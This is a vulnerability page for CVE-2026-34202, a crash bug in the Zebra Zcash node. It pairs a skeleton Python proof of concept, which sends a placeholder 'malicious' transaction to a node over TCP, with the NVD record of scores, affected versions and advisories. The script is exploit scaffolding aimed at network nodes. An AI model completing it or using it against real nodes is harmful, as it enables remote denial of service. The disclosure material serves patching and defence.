CVE-2026-34202

import socket import struct def send_malicious_transaction(target_ip, target_port): """ Conceptual PoC for CVE-2026-34202. This script sends a crafted V5 transaction payload to trigger a panic in ZEBRA. Note: Actual transaction construction requires Zcash consensus logic. This is a skeleton demonstrating the network interaction. """ try: # Connect to the ZEBRA node s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # A malicious V5 transaction payload would go here. # In a real exploit, this byte array would be crafted to pass deserialization # but fail ID calculation. # Example placeholder header for a transaction (version 5) # version = struct.pack('<I', 5) # payload = version + b'\x00' * 100 # Padding/Dummy data # Simulating sending the payload payload = b'\x05\x00\x00\x00' + b'A' * 200 # Placeholder for crafted transaction s.sendall(payload) print(f"[+] Malicious payload sent to {target_ip}:{target_port}") response = s.recv(1024) print(f"[+] Response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": target_ip = "127.0.0.1" target_port = 8233 # Default Zcash/ZEBRA port send_malicious_transaction(target_ip, target_port)

{"cve": {"id": "CVE-2026-34202", "sourceIdentifier": "[email protected]", "published": "2026-03-31T15:16:17.860", "lastModified": "2026-04-07T21:02:10.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.3.0 and zebra-chain version 6.0.1, a vulnerability in Zebra's transaction processing logic allows a remote, unauthenticated attacker to cause a Zebra node to panic (crash). This is triggered by sending a specially crafted V5 transaction that passes initial deserialization but fails during transaction ID calculation. This issue has been patched in zebrad version 4.3.0 and zebra-chain version 6.0.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1336"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra:*:*:*:*:*:rust:*:*", "versionEndExcluding": "4.3.0", "matchCriteriaId": "4B93957D-63A6-4232-8046-FDF593752C05"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra-chain:*:*:*:*:*:rust:*:*", "versionEndExcluding": "6.0.1", "matchCriteriaId": "5B11D020-A19F-4A46-B359-7325300738F2"}]}]}], "references": [{"url": "https://github.com/ZcashFoundation/zebra/releases/tag/v4.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-qp6f-w4r3-h8wg", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://zfnd.org/zebra-4-3-0-critical-security-fixes-zip-235-support-and-performance-improvements", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}